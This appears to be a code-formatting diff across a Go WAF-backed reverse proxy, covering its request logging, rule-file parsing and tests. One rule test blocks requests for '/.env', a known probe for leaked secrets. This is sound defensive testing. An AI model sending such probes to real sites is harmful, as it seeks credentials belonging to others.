DurationResponseMS: requestlog.Milliseconds(end.Sub(requestEnd)),
Disposition: rq.disposition,
DefaultDisposition: rq.byDefault,
})
err := requestlog.WriteRProxyLine(
rq.h.requestLog,
&requestlog.RProxyLine{
Time: requestlog.FormatTime(rq.start),
RequestID: rq.id,
ClientIP: rq.client.String(),
Host: rq.in.Host,
Method: rq.in.Method,
Path: rules.Path(rq.in),
Query: rq.in.URL.RawQuery,
Status: rq.out.status,
RequestBytes: requestBytes,
ResponseBytes: responseBytes,
DurationRequestMS: requestlog.Milliseconds(
requestEnd.Sub(rq.start),
),
DurationResponseMS: requestlog.Milliseconds(end.Sub(requestEnd)),
Disposition: rq.disposition,
DefaultDisposition: rq.byDefault,
},
)
if err != nil {
rq.h.processLog.Error("writing the request log failed", "error", err.Error())
rq.h.processLog.Error(
"writing the request log failed",
"error",
err.Error(),
)
}
if !rq.answered {
@@ -443,7 +473,9 @@ func (rq *request) finish(ctx context.Context) {
DurationTotalMS: requestlog.Milliseconds(end.Sub(rq.start)),
}
if !rq.upstreamStart.IsZero() {
report.DurationUpstreamTotalMS = requestlog.Milliseconds(end.Sub(rq.upstreamStart))
report.DurationUpstreamTotalMS = requestlog.Milliseconds(
end.Sub(rq.upstreamStart),
)
}
rq.h.sendReport(ctx, report)
@@ -522,7 +554,10 @@ func (rq *request) startRequestTimer() {
rq.mu.Lock()
defer rq.mu.Unlock()
rq.requestTimer = time.AfterFunc(time.Until(deadline), rq.requestTimedOut)
rq.requestTimer = time.AfterFunc(
time.Until(deadline),
rq.requestTimedOut,
)
}
// requestTimedOut is called when SWRP_MAX_REQUEST_TIME_MS runs out while the
@@ -613,7 +648,9 @@ func (rq *request) setResponseDeadline() {
deadline := rq.endRequest().Add(limit)
_ = rq.rc.SetWriteDeadline(time.Now().Add(max(time.Until(deadline), minSendTime)))
_ = rq.rc.SetWriteDeadline(
time.Now().Add(max(time.Until(deadline), minSendTime)),
)
_ = rq.rc.Flush()
_ = rq.rc.SetWriteDeadline(deadline)
}
+4 -1
View File
@@ -78,7 +78,10 @@ type Server struct {
// on.
func New(params Params) *Server {
backend := params.Config.WAFBackend
errorLog := slog.NewLogLogger(params.ProcessLog.Handler(), slog.LevelWarn)
errorLog := slog.NewLogLogger(
params.ProcessLog.Handler(),
slog.LevelWarn,
)
h := &handler{
config: params.Config,
requestLog: params.RequestLog,
+219 -76
View File
@@ -358,11 +358,13 @@ func startServerLogging(
}
maps.Copy(settings, env)
cfg, err := config.RProxyFromEnvironment(func(name string) (string, bool) {
value, ok := settings[name]
cfg, err := config.RProxyFromEnvironment(
func(name string) (string, bool) {
value, ok := settings[name]
return value, ok
})
return value, ok
},
)
if err != nil {
t.Fatalf("settings %v: %v", settings, err)
}
@@ -370,10 +372,18 @@ func startServerLogging(
server := rproxy.New(rproxy.Params{
Config: cfg,
RequestLog: requestLog,
ProcessLog: requestlog.NewProcessLogger(processLog, "test", slog.LevelInfo),
ProcessLog: requestlog.NewProcessLogger(
processLog,
"test",
slog.LevelInfo,
),
})
listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
listener, err := (&net.ListenConfig{}).Listen(
t.Context(),
"tcp",
localhost+":0",
)
if err != nil {
t.Fatalf("listen: %v", err)
}
@@ -403,7 +413,10 @@ type answered struct {
func visit(t *testing.T, req *http.Request) answered {
t.Helper()
transport := &http.Transport{DisableKeepAlives: true, DisableCompression: true}
transport := &http.Transport{
DisableKeepAlives: true,
DisableCompression: true,
}
defer transport.CloseIdleConnections()
res, err := transport.RoundTrip(req)
@@ -429,8 +442,12 @@ func newRequest(
) *http.Request {
t.Helper()
req, err := http.NewRequestWithContext(t.Context(), method, "http://"+addr+target,
body)
req, err := http.NewRequestWithContext(
t.Context(),
method,
"http://"+addr+target,
body,
)
if err != nil {
t.Fatalf("new request: %v", err)
}
@@ -450,7 +467,11 @@ func wantGreeting(t *testing.T, got answered) {
t.Helper()
if got.status != http.StatusOK || got.body != greeting {
t.Errorf("answered %d %q, want the app's greeting", got.status, got.body)
t.Errorf(
"answered %d %q, want the app's greeting",
got.status,
got.body,
)
}
}
@@ -547,7 +568,12 @@ func TestPassesAnAllowedRequestToTheAppAndItsAnswerBack(t *testing.T) {
requestIDHeader: asked.header.Get(requestIDHeader),
} {
if received.Header.Get(name) != want {
t.Errorf("the app saw %s %q, want %q", name, received.Header.Get(name), want)
t.Errorf(
"the app saw %s %q, want %q",
name,
received.Header.Get(name),
want,
)
}
}
}
@@ -660,7 +686,12 @@ func TestAnAnswerWithoutAContentTypeGetsNone(t *testing.T) {
})
_, _, server := startServer(t, standIn.URL, app.URL, nil)
req := httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/", http.NoBody)
req := httptest.NewRequestWithContext(
t.Context(),
http.MethodGet,
"/",
http.NoBody,
)
w := httptest.NewRecorder()
server.Handler.ServeHTTP(w, req)
@@ -670,8 +701,11 @@ func TestAnAnswerWithoutAContentTypeGetsNone(t *testing.T) {
// stops it: the key with no value.
values, there := w.Header()["Content-Type"]
if !there || len(values) != 0 {
t.Errorf("the answer's Content-Type is %q, there: %v, want the key with no value",
values, there)
t.Errorf(
"the answer's Content-Type is %q, there: %v, want the key with no value",
values,
there,
)
}
}
@@ -706,8 +740,12 @@ func TestRemovesTheVisitorsLookupHeadersWhenWAFGivesNone(t *testing.T) {
wantGreeting(t, visit(t, req))
header := <-seen
if len(header.Values(asnHeader)) != 0 || len(header.Values(countryHeader)) != 0 {
t.Errorf("the app saw the visitor's lookup headers: %v", header)
if len(header.Values(asnHeader)) != 0 ||
len(header.Values(countryHeader)) != 0 {
t.Errorf(
"the app saw the visitor's lookup headers: %v",
header,
)
}
})
}
@@ -740,7 +778,8 @@ func TestDenyGivesTheVisitorWAFsAnswer(t *testing.T) {
}
line := out.requestLine(t)
if line["disposition"] != dispositionDeny || line["default_disposition"] != nil {
if line["disposition"] != dispositionDeny ||
line["default_disposition"] != nil {
t.Errorf("line %v, want waf's deny", line)
}
}
@@ -754,7 +793,11 @@ func TestADeniedHeadKeepsWAFsContentLength(t *testing.T) {
got := visit(t, newRequest(t, http.MethodHead, addr, "/", http.NoBody))
if got.status != http.StatusForbidden ||
got.header.Get(contentLengthHeader) != strconv.Itoa(len(deniedBody)) {
got.header.Get(
contentLengthHeader,
) != strconv.Itoa(
len(deniedBody),
) {
t.Errorf("answered %+v, want waf's 403 and its length", got)
}
}
@@ -778,7 +821,14 @@ func TestAnAnswerRProxyHoldsWholeIsSentBeforeItsLogLine(t *testing.T) {
log := heldLog{release: make(chan struct{})}
standIn := startWAF(t, deny)
app := startApp(t, greet)
addr, _ := startServerLogging(t, standIn.URL, app.URL, nil, log, io.Discard)
addr, _ := startServerLogging(
t,
standIn.URL,
app.URL,
nil,
log,
io.Discard,
)
t.Cleanup(func() { close(log.release) })
@@ -795,9 +845,16 @@ func TestAnAnswerRProxyHoldsWholeIsSentBeforeItsLogLine(t *testing.T) {
}()
body, err := io.ReadAll(res.Body)
if err != nil || res.StatusCode != tc.status || string(body) != tc.body {
t.Errorf("answered %d %q (%v), want %d %q", res.StatusCode, body, err,
tc.status, tc.body)
if err != nil || res.StatusCode != tc.status ||
string(body) != tc.body {
t.Errorf(
"answered %d %q (%v), want %d %q",
res.StatusCode,
body,
err,
tc.status,
tc.body,
)
}
})
}
@@ -843,8 +900,11 @@ func TestCloseClosesTheConnectionWithoutAnAnswer(t *testing.T) {
text, err := io.ReadAll(conn)
if err != nil || len(text) != 0 {
t.Errorf("read %q (%v), want the connection closed without an answer",
text, err)
t.Errorf(
"read %q (%v), want the connection closed without an answer",
text,
err,
)
}
report := standIn.report(t)
@@ -858,7 +918,9 @@ func TestCloseClosesTheConnectionWithoutAnAnswer(t *testing.T) {
}
}
func TestALineForARequestClosedWithoutAnAnswerHasNoNegativeTime(t *testing.T) {
func TestALineForARequestClosedWithoutAnAnswerHasNoNegativeTime(
t *testing.T,
) {
t.Parallel()
backend := startWAFAnsweringReports(t,
@@ -881,7 +943,10 @@ func TestALineForARequestClosedWithoutAnAnswerHasNoNegativeTime(t *testing.T) {
duration, ok := line["duration_response_ms"].(float64)
if !ok || duration < 0 {
t.Errorf("line %v, want a duration_response_ms that is not negative", line)
t.Errorf(
"line %v, want a duration_response_ms that is not negative",
line,
)
}
}
}
@@ -900,12 +965,16 @@ func answeringWith(answer http.HandlerFunc) func(t *testing.T) string {
func noAnswers() map[string]func(t *testing.T) string {
return map[string]func(t *testing.T) string{
"no connection": func(*testing.T) string { return nowhere },
"no answer at all": answeringWith(func(http.ResponseWriter, *http.Request) {
panic(http.ErrAbortHandler)
}),
"a slow start": answeringWith(func(_ http.ResponseWriter, r *http.Request) {
<-r.Context().Done()
}),
"no answer at all": answeringWith(
func(http.ResponseWriter, *http.Request) {
panic(http.ErrAbortHandler)
},
),
"a slow start": answeringWith(
func(_ http.ResponseWriter, r *http.Request) {
<-r.Context().Done()
},
),
"headers followed by a stalled body": answeringWith(
func(w http.ResponseWriter, r *http.Request) {
w.Header().Set(dispositionHeader, dispositionDeny)
@@ -947,21 +1016,29 @@ func TestAnAnswerOtherThanAllowGoesToTheVisitorAsWAFGaveIt(t *testing.T) {
t.Run(tc.name+" with the default "+setting, func(t *testing.T) {
t.Parallel()
standIn := startWAF(t, func(w http.ResponseWriter, _ *http.Request) {
if tc.disposition != "" {
w.Header().Set(dispositionHeader, tc.disposition)
}
standIn := startWAF(
t,
func(w http.ResponseWriter, _ *http.Request) {
if tc.disposition != "" {
w.Header().Set(dispositionHeader, tc.disposition)
}
w.Header().Set(fromWAFHeader, addedHeaderValue)
w.WriteHeader(tc.status)
_, _ = io.WriteString(w, tc.body)
})
w.Header().Set(fromWAFHeader, addedHeaderValue)
w.WriteHeader(tc.status)
_, _ = io.WriteString(w, tc.body)
},
)
app := startApp(t, func(http.ResponseWriter, *http.Request) {
t.Error("the app was asked")
})
addr, out := startRProxy(t, standIn.URL, app.URL, map[string]string{
defaultDisposition: setting,
})
addr, out := startRProxy(
t,
standIn.URL,
app.URL,
map[string]string{
defaultDisposition: setting,
},
)
got := get(t, addr, "/")
if got.status != tc.status || got.body != tc.body ||
@@ -974,8 +1051,13 @@ func TestAnAnswerOtherThanAllowGoesToTheVisitorAsWAFGaveIt(t *testing.T) {
}
line := out.requestLine(t)
if line["status"] != float64(tc.status) || line["default_disposition"] != nil {
t.Errorf("line %v, want status %d and no default", line, tc.status)
if line["status"] != float64(tc.status) ||
line["default_disposition"] != nil {
t.Errorf(
"line %v, want status %d and no default",
line,
tc.status,
)
}
if out.has("waf gave no answer") {
@@ -1036,7 +1118,8 @@ func TestAnAnswerOf1MiBGoesToTheVisitor(t *testing.T) {
})
got := get(t, addr, "/")
if got.status != http.StatusInternalServerError || len(got.body) != size {
if got.status != http.StatusInternalServerError ||
len(got.body) != size {
t.Errorf("answered %d with %d bytes, want waf's 500 with %d",
got.status, len(got.body), size)
}
@@ -1048,7 +1131,11 @@ func TestAnAnswerOf1MiBGoesToTheVisitor(t *testing.T) {
func startWAFWriting(t *testing.T, text string) string {
t.Helper()
listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
listener, err := (&net.ListenConfig{}).Listen(
t.Context(),
"tcp",
localhost+":0",
)
if err != nil {
t.Fatalf("listen: %v", err)
}
@@ -1126,10 +1213,15 @@ func TestAnAnswerThatCannotBePassedOnIsAnswered502(t *testing.T) {
app := startApp(t, func(http.ResponseWriter, *http.Request) {
t.Error("the app was asked")
})
addr, out := startRProxy(t, backend(t), app.URL, map[string]string{
timeoutSetting: "60000",
defaultDisposition: setting,
})
addr, out := startRProxy(
t,
backend(t),
app.URL,
map[string]string{
timeoutSetting: "60000",
defaultDisposition: setting,
},
)
if got := get(t, addr, "/"); got.status != http.StatusBadGateway {
t.Errorf("answered %+v, want 502", got)
@@ -1138,7 +1230,10 @@ func TestAnAnswerThatCannotBePassedOnIsAnswered502(t *testing.T) {
line := out.requestLine(t)
if line["status"] != float64(http.StatusBadGateway) ||
line["disposition"] != nil || line["default_disposition"] != nil {
t.Errorf("line %v, want status 502 and no disposition", line)
t.Errorf(
"line %v, want status 502 and no disposition",
line,
)
}
out.waitFor(t, "waf's answer is dropped")
@@ -1171,9 +1266,14 @@ func TestWithoutAnAnswerTheDefaultDispositionDecides(t *testing.T) {
t.Parallel()
app := startApp(t, greet)
addr, out := startRProxy(t, backend(t), app.URL, map[string]string{
timeoutSetting: "200",
})
addr, out := startRProxy(
t,
backend(t),
app.URL,
map[string]string{
timeoutSetting: "200",
},
)
wantGreeting(t, get(t, addr, "/"))
@@ -1190,10 +1290,15 @@ func TestWithoutAnAnswerTheDefaultDispositionDecides(t *testing.T) {
app := startApp(t, func(http.ResponseWriter, *http.Request) {
t.Error("the app was asked")
})
addr, out := startRProxy(t, backend(t), app.URL, map[string]string{
timeoutSetting: "200",
defaultDisposition: dispositionDeny,
})
addr, out := startRProxy(
t,
backend(t),
app.URL,
map[string]string{
timeoutSetting: "200",
defaultDisposition: dispositionDeny,
},
)
got := get(t, addr, "/")
if got.status != http.StatusServiceUnavailable {
@@ -1216,16 +1321,24 @@ func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDefault(t *testing.T) {
t.Run("with the default "+disposition, func(t *testing.T) {
t.Parallel()
standIn := startWAF(t, func(_ http.ResponseWriter, r *http.Request) {
<-r.Context().Done()
})
standIn := startWAF(
t,
func(_ http.ResponseWriter, r *http.Request) {
<-r.Context().Done()
},
)
app := startApp(t, func(http.ResponseWriter, *http.Request) {
t.Error("the app was asked")
})
addr, out := startRProxy(t, standIn.URL, app.URL, map[string]string{
timeoutSetting: "60000",
defaultDisposition: disposition,
})
addr, out := startRProxy(
t,
standIn.URL,
app.URL,
map[string]string{
timeoutSetting: "60000",
defaultDisposition: disposition,
},
)
conn := dial(t, addr)
send(t, conn, "GET / HTTP/1.1\r\nHost: site.example\r\n\r\n")
@@ -1443,12 +1556,21 @@ func TestReportGivesWhatHappened(t *testing.T) {
report.ResponseBytes != int64(len(greeting)) ||
report.DurationTotalMS <= 0 || report.DurationUpstreamTotalMS <= 0 ||
report.DurationUpstreamTotalMS > report.DurationTotalMS {
t.Errorf("report %+v, of %d bytes up and %d back", report, len(body), len(greeting))
t.Errorf(
"report %+v, of %d bytes up and %d back",
report,
len(body),
len(greeting),
)
}
line := out.requestLine(t)
if line["request_id"] != report.RequestID {
t.Errorf("line %v, report %+v, want the same request id", line, report)
t.Errorf(
"line %v, report %+v, want the same request id",
line,
report,
)
}
}
@@ -1477,9 +1599,14 @@ func TestWaitForReportsWaitsForAReportBeingSent(t *testing.T) {
t.Cleanup(backend.Close)
app := startApp(t, greet)
addr, _, server := startServer(t, backend.URL, app.URL, map[string]string{
timeoutSetting: "5000",
})
addr, _, server := startServer(
t,
backend.URL,
app.URL,
map[string]string{
timeoutSetting: "5000",
},
)
wantGreeting(t, get(t, addr, "/"))
@@ -1535,7 +1662,11 @@ func TestReportOfAWebSocketCountsWhatItCarried(t *testing.T) {
_ = res.Body.Close()
if res.StatusCode != http.StatusSwitchingProtocols {
t.Fatalf("status %d, want %d", res.StatusCode, http.StatusSwitchingProtocols)
t.Fatalf(
"status %d, want %d",
res.StatusCode,
http.StatusSwitchingProtocols,
)
}
// Past both time limits, the connection still carries what is sent.
@@ -1559,7 +1690,9 @@ func TestReportOfAWebSocketCountsWhatItCarried(t *testing.T) {
t.Errorf("report %+v, of %d bytes each way", report, len(message))
}
if line := out.requestLine(t); line["status"] != float64(res.StatusCode) {
if line := out.requestLine(t); line["status"] != float64(
res.StatusCode,
) {
t.Errorf("line %v, want status 101", line)
}
}
@@ -1714,7 +1847,8 @@ func TestEachRequestGetsAFreshID(t *testing.T) {
ids = append(ids, standIn.question(t).header.Get(requestIDHeader))
}
if slices.Contains(ids, fromTraefik) || ids[0] == "" || ids[0] == ids[1] {
if slices.Contains(ids, fromTraefik) || ids[0] == "" ||
ids[0] == ids[1] {
t.Errorf("ids %v, want two fresh ones", ids)
}
}
@@ -1732,7 +1866,13 @@ func TestLogLineGivesTheRequestAsSent(t *testing.T) {
app := startApp(t, greet)
addr, out := startRProxy(t, standIn.URL, app.URL, nil)
req := newRequest(t, http.MethodPost, addr, path+"?"+query, strings.NewReader(body))
req := newRequest(
t,
http.MethodPost,
addr,
path+"?"+query,
strings.NewReader(body),
)
req.Host = site
wantGreeting(t, visit(t, req))
@@ -1758,7 +1898,10 @@ func TestLogLineGivesTheRequestAsSent(t *testing.T) {
}
if line["default_disposition"] != nil {
t.Errorf("default_disposition is %v, want it left out", line["default_disposition"])
t.Errorf(
"default_disposition is %v, want it left out",
line["default_disposition"],
)
}
for _, name := range []string{"duration_request_ms", "duration_response_ms"} {
+24 -7
View File
@@ -23,7 +23,9 @@ const answerBodyMaxBytes = 1 << 20
const reportAnswerMaxBytes = 4 << 10
var (
errCannotPassOn = errors.New("the answer cannot be passed to the visitor")
errCannotPassOn = errors.New(
"the answer cannot be passed to the visitor",
)
errReportRefused = errors.New("the report was answered")
)
@@ -108,7 +110,11 @@ func (rq *request) ask(ctx context.Context) (*wafAnswer, error) {
// a read of that. Go's client also takes a status below 100, which Go's server
// panics when asked to send.
if res.StatusCode < http.StatusOK {
return nil, fmt.Errorf("%w: its status is %d", errCannotPassOn, res.StatusCode)
return nil, fmt.Errorf(
"%w: its status is %d",
errCannotPassOn,
res.StatusCode,
)
}
body, err := io.ReadAll(io.LimitReader(res.Body, answerBodyMaxBytes+1))
@@ -133,10 +139,14 @@ func (rq *request) ask(ctx context.Context) (*wafAnswer, error) {
// waf.
func canBeAsked(r *http.Request) bool {
target, host := r.RequestURI, r.Host
hostHasZone := strings.HasPrefix(host, "[") && strings.Contains(host, "%")
hostHasZone := strings.HasPrefix(host, "[") &&
strings.Contains(host, "%")
return strings.HasPrefix(target, "/") && !strings.HasPrefix(target, "//") &&
host != "" && !hostHasZone && len(r.Header.Values("User-Agent")) <= 1
return strings.HasPrefix(target, "/") &&
!strings.HasPrefix(target, "//") &&
host != "" &&
!hostHasZone &&
len(r.Header.Values("User-Agent")) <= 1
}
// newQuestion returns the question about the request, as "The question" in
@@ -151,7 +161,11 @@ func (rq *request) newQuestion(ctx context.Context) (*http.Request, error) {
}
question, err := http.NewRequestWithContext( //nolint:gosec // a setting's URL
ctx, in.Method, rq.h.config.WAFBackend.String(), bytes.NewReader(held))
ctx,
in.Method,
rq.h.config.WAFBackend.String(),
bytes.NewReader(held),
)
if err != nil {
return nil, fmt.Errorf("make the question: %w", err)
}
@@ -254,7 +268,10 @@ func (h *handler) postReport(ctx context.Context, report *waf.Report) error {
// The body of a 101 is the connection itself, and the time limit does not end
// a read of that.
if res.StatusCode >= http.StatusOK {
_, _ = io.Copy(io.Discard, io.LimitReader(res.Body, reportAnswerMaxBytes))
_, _ = io.Copy(
io.Discard,
io.LimitReader(res.Body, reportAnswerMaxBytes),
)
}
_ = res.Body.Close()
+55 -13
View File
@@ -63,7 +63,9 @@ const escapeLength = 3
var (
// ruleLine is a rule: four fields separated by spaces or tabs, of
// which the fourth, the regex, runs to the end of the line.
ruleLine = regexp.MustCompile(`^([^ \t]+)[ \t]+([^ \t]+)[ \t]+([^ \t]+)[ \t]+(.+)$`)
ruleLine = regexp.MustCompile(
`^([^ \t]+)[ \t]+([^ \t]+)[ \t]+([^ \t]+)[ \t]+(.+)$`,
)
// idChars are the characters of a rule's id.
idChars = regexp.MustCompile(`^[A-Za-z0-9_-]+$`)
)
@@ -74,7 +76,8 @@ var (
"separated by spaces or tabs")
errNotID = errors.New("is not an id of letters, digits, - and _")
errNotTarget = errors.New(
"is not path, query, uri, method, host, user_agent, referer or header:<Name>")
"is not path, query, uri, method, host, user_agent, referer or header:<Name>",
)
errNotHeaderName = errors.New(
"has a character after header: that no header name can have")
errHeaderTakenOut = errors.New(
@@ -281,7 +284,8 @@ func read(dir string) ([]Rule, string, error) {
for _, entry := range entries {
name := entry.Name()
if entry.IsDir() || strings.HasPrefix(name, ".") || filepath.Ext(name) != extension {
if entry.IsDir() || strings.HasPrefix(name, ".") ||
filepath.Ext(name) != extension {
continue
}
@@ -298,8 +302,13 @@ func read(dir string) ([]Rule, string, error) {
// readFile appends the rules of the rule file at path to rules. places
// are where each id read so far is, and gain those of the file.
func readFile(path string, rules []Rule, places map[string]string) ([]Rule, error) {
data, err := os.ReadFile(path) //nolint:gosec // a rule file, in SWW_RULES_DIR
func readFile(
path string,
rules []Rule,
places map[string]string,
) ([]Rule, error) {
//nolint:gosec // a rule file, in SWW_RULES_DIR
data, err := os.ReadFile(path)
if err != nil {
return nil, err
}
@@ -323,7 +332,13 @@ func readFile(path string, rules []Rule, places map[string]string) ([]Rule, erro
first, used := places[rule.ID]
if used {
return nil, fmt.Errorf("%s: the id %q %w %s", place, rule.ID, errUsedTwice, first)
return nil, fmt.Errorf(
"%s: the id %q %w %s",
place,
rule.ID,
errUsedTwice,
first,
)
}
places[rule.ID] = place
@@ -355,22 +370,42 @@ func parse(line string) (Rule, bool, error) {
case !idChars.MatchString(rule.ID):
return Rule{}, false, fmt.Errorf("the id %q %w", rule.ID, errNotID)
case !isTarget(rule.Target):
return Rule{}, false, fmt.Errorf("the target %q %w", rule.Target, errNotTarget)
return Rule{}, false, fmt.Errorf(
"the target %q %w",
rule.Target,
errNotTarget,
)
case isHeader && !config.IsHeaderName(headerName):
return Rule{}, false, fmt.Errorf("the target %q %w", rule.Target, errNotHeaderName)
return Rule{}, false, fmt.Errorf(
"the target %q %w",
rule.Target,
errNotHeaderName,
)
case strings.EqualFold(rule.Target, headerTarget+"Host"):
return Rule{}, false, fmt.Errorf(
"the target %q %w; the request's host is the target host",
rule.Target, errHeaderTakenOut)
case strings.EqualFold(rule.Target, headerTarget+"Transfer-Encoding"):
return Rule{}, false, fmt.Errorf("the target %q %w", rule.Target, errHeaderTakenOut)
return Rule{}, false, fmt.Errorf(
"the target %q %w",
rule.Target,
errHeaderTakenOut,
)
case !slices.Contains([]string{ActionLog, ActionBlock, ActionBan}, rule.Action):
return Rule{}, false, fmt.Errorf("the action %q %w", rule.Action, errNotAction)
return Rule{}, false, fmt.Errorf(
"the action %q %w",
rule.Action,
errNotAction,
)
}
regex, err := regexp.Compile(fields[4])
if err != nil {
return Rule{}, false, fmt.Errorf("the regex %w: %w", errNotRegex, err)
return Rule{}, false, fmt.Errorf(
"the regex %w: %w",
errNotRegex,
err,
)
}
rule.regex = regex
@@ -381,7 +416,13 @@ func parse(line string) (Rule, bool, error) {
// isTarget reports whether target is one a rule may have.
func isTarget(target string) bool {
switch target {
case pathTarget, "query", uriTarget, "method", "host", "user_agent", "referer":
case pathTarget,
"query",
uriTarget,
"method",
"host",
"user_agent",
"referer":
return true
}
@@ -397,7 +438,8 @@ func (rule Rule) matches(r *http.Request) bool {
target := value(rule.Target, r)
if rule.Target == pathTarget || rule.Target == uriTarget {
return rule.regex.MatchString(target) || rule.regex.MatchString(DecodeOnce(target))
return rule.regex.MatchString(target) ||
rule.regex.MatchString(DecodeOnce(target))
}
return rule.regex.MatchString(target)
+79 -18
View File
@@ -94,7 +94,13 @@ func TestEachTargetMatchesWhatItNames(t *testing.T) {
got := len(files.Match(r)) == 1
if got != tc.want {
t.Errorf("%s matches %s: %t, want %t", tc.rule, tc.uri, got, tc.want)
t.Errorf(
"%s matches %s: %t, want %t",
tc.rule,
tc.uri,
got,
tc.want,
)
}
})
}
@@ -123,7 +129,12 @@ func TestPathMatchedAsTheClientSentIt(t *testing.T) {
for _, target := range []string{
tc.sent, "http://app.example" + tc.sent, "http:" + tc.sent, "foo:" + tc.sent,
} {
r := httptest.NewRequestWithContext(t.Context(), http.MethodGet, target, nil)
r := httptest.NewRequestWithContext(
t.Context(),
http.MethodGet,
target,
nil,
)
wantMatched(t, files, r, "as-sent")
}
}
@@ -146,14 +157,20 @@ after path log ^/
wantMatched(t, files, get(t, "/page"), "every-path", "after")
// A ban rule ends it too.
files = load(t, ruleFiles{testFile: "ban path ban ^/\nlater path block ^/\n"})
files = load(
t,
ruleFiles{testFile: "ban path ban ^/\nlater path block ^/\n"},
)
wantMatched(t, files, get(t, "/"), "ban")
}
func TestSpacesAndTabsEndingALineAreNotPartOfItsRegex(t *testing.T) {
t.Parallel()
files := load(t, ruleFiles{testFile: "env-file path block ^/\\.env$ \t \n"})
files := load(
t,
ruleFiles{testFile: "env-file path block ^/\\.env$ \t \n"},
)
wantMatched(t, files, get(t, "/.env"), "env-file")
}
@@ -184,7 +201,10 @@ func TestFileWhoseNameStartsWithADotIsNotARuleFile(t *testing.T) {
// The lock file Emacs makes beside a file while it is edited: a link to
// nothing, which cannot be read.
err := os.Symlink("user@host.1234:1700000000", filepath.Join(dir, ".#"+firstFile))
err := os.Symlink(
"user@host.1234:1700000000",
filepath.Join(dir, ".#"+firstFile),
)
if err != nil {
t.Fatalf("symlink: %v", err)
}
@@ -276,7 +296,8 @@ func TestFaultStopsTheStartNamingTheFileAndLine(t *testing.T) {
dir := writeFiles(t, ruleFiles{"00-default.rules": tc.content})
path := filepath.Join(dir, "00-default.rules")
wantRefused(t, dir, path+", line "+strconv.Itoa(tc.line)+": "+tc.want)
want := path + ", line " + strconv.Itoa(tc.line) + ": " + tc.want
wantRefused(t, dir, want)
})
}
}
@@ -289,8 +310,12 @@ func TestIDUsedTwiceStopsTheStartNamingBothPlaces(t *testing.T) {
"50-b.rules": "other path log ^/b\nprobe path ban ^/c\n",
})
wantRefused(t, dir, filepath.Join(dir, "50-b.rules")+`, line 2: the id "probe" `+
"is already the id of the rule at "+filepath.Join(dir, "00-a.rules")+", line 1")
wantRefused(
t,
dir,
filepath.Join(dir, "50-b.rules")+`, line 2: the id "probe" `+
"is already the id of the rule at "+filepath.Join(dir, "00-a.rules")+", line 1",
)
}
func TestDirectoryThatDoesNotExistStopsTheStart(t *testing.T) {
@@ -305,7 +330,9 @@ func TestDirectoryThatDoesNotExistStopsTheStart(t *testing.T) {
func TestEmptyDirectoryLoadsNoRulesAndSaysSo(t *testing.T) {
t.Parallel()
params, lines := newParams(writeFiles(t, ruleFiles{"00-default.rules": "# none\n"}))
params, lines := newParams(
writeFiles(t, ruleFiles{"00-default.rules": "# none\n"}),
)
files, err := rules.Load(params)
if err != nil {
@@ -314,7 +341,11 @@ func TestEmptyDirectoryLoadsNoRulesAndSaysSo(t *testing.T) {
line := lines.waitFor(t, read)
if files.Len() != 0 || line["rules"] != 0.0 {
t.Errorf("%d rules loaded, and the log says %v, want none", files.Len(), line)
t.Errorf(
"%d rules loaded, and the log says %v, want none",
files.Len(),
line,
)
}
}
@@ -375,7 +406,12 @@ func TestBrokenEditKeepsTheRulesAsTheyWere(t *testing.T) {
// The edit's second line has an unknown action, so the rules stay as
// they were, the first line's earlier version included.
save(t, dir, firstFile, "first path block ^/edited\nsecond path bann ^/second\n")
save(
t,
dir,
firstFile,
"first path block ^/edited\nsecond path bann ^/second\n",
)
line := lines.waitFor(t, hasError)
want := filepath.Join(dir, firstFile) +
@@ -393,7 +429,11 @@ func TestBrokenEditKeepsTheRulesAsTheyWere(t *testing.T) {
if len(waiting) != 1 || waiting[0].Event != alerts.EventFileError ||
waiting[0].Reason != hasError || waiting[0].Detail["error"] != want ||
waiting[0].Detail["file"] != filepath.Join(dir, firstFile) {
t.Errorf("alerts waiting %+v, want one file_error alert for %q", waiting, want)
t.Errorf(
"alerts waiting %+v, want one file_error alert for %q",
waiting,
want,
)
}
}
wantFileError()
@@ -402,8 +442,16 @@ func TestBrokenEditKeepsTheRulesAsTheyWere(t *testing.T) {
wantMatched(t, files, get(t, "/second"))
// Once mended, the file is read again, and raises no alert.
save(t, dir, firstFile, "first path block ^/edited\nsecond path ban ^/second\n")
lines.waitUntil(t, func() bool { return len(files.Match(get(t, "/second"))) == 1 })
save(
t,
dir,
firstFile,
"first path block ^/edited\nsecond path ban ^/second\n",
)
lines.waitUntil(
t,
func() bool { return len(files.Match(get(t, "/second"))) == 1 },
)
wantMatched(t, files, get(t, "/edited"), "first")
wantFileError()
}
@@ -559,7 +607,10 @@ func load(t *testing.T, files ruleFiles) *rules.Files {
// watch loads the rules in dir, runs their Watch until the test ends, and
// waits until it watches the directory. It returns the alerts' queue as
// well.
func watch(t *testing.T, dir string) (*rules.Files, processLog, *alerts.Queue) {
func watch(
t *testing.T,
dir string,
) (*rules.Files, processLog, *alerts.Queue) {
t.Helper()
params, lines := newParams(dir)
@@ -611,21 +662,31 @@ func get(t *testing.T, target string) *http.Request {
// wantRefusedBy checks that a GET request for target with the user agent
// sent matches rule alone, and that rule refuses it.
func wantRefusedBy(t *testing.T, files *rules.Files, target, sent, rule string) {
func wantRefusedBy(
t *testing.T,
files *rules.Files,
target, sent, rule string,
) {
t.Helper()
r := get(t, target)
r.Header.Set(userAgent, sent)
matched := files.Match(r)
if len(matched) != 1 || matched[0].ID != rule || matched[0].Action == rules.ActionLog {
if len(matched) != 1 || matched[0].ID != rule ||
matched[0].Action == rules.ActionLog {
t.Errorf("%s from %q matched %v, want %s alone, refusing it", target,
sent, ids(matched), rule)
}
}
// wantMatched checks the ids of the rules r matches, in order.
func wantMatched(t *testing.T, files *rules.Files, r *http.Request, want ...string) {
func wantMatched(
t *testing.T,
files *rules.Files,
r *http.Request,
want ...string,
) {
t.Helper()
got := ids(files.Match(r))
+118 -32
View File
@@ -89,7 +89,11 @@ func fileNames() []string {
// isCacheFile reports whether name is the name of a cache file.
func isCacheFile(name string) bool {
switch name {
case lookupsJSON, listsJSON, dnsblJSON, abuseIPDBScoresJSON, routeWatchJSON:
case lookupsJSON,
listsJSON,
dnsblJSON,
abuseIPDBScoresJSON,
routeWatchJSON:
return true
default:
return false
@@ -103,10 +107,14 @@ var (
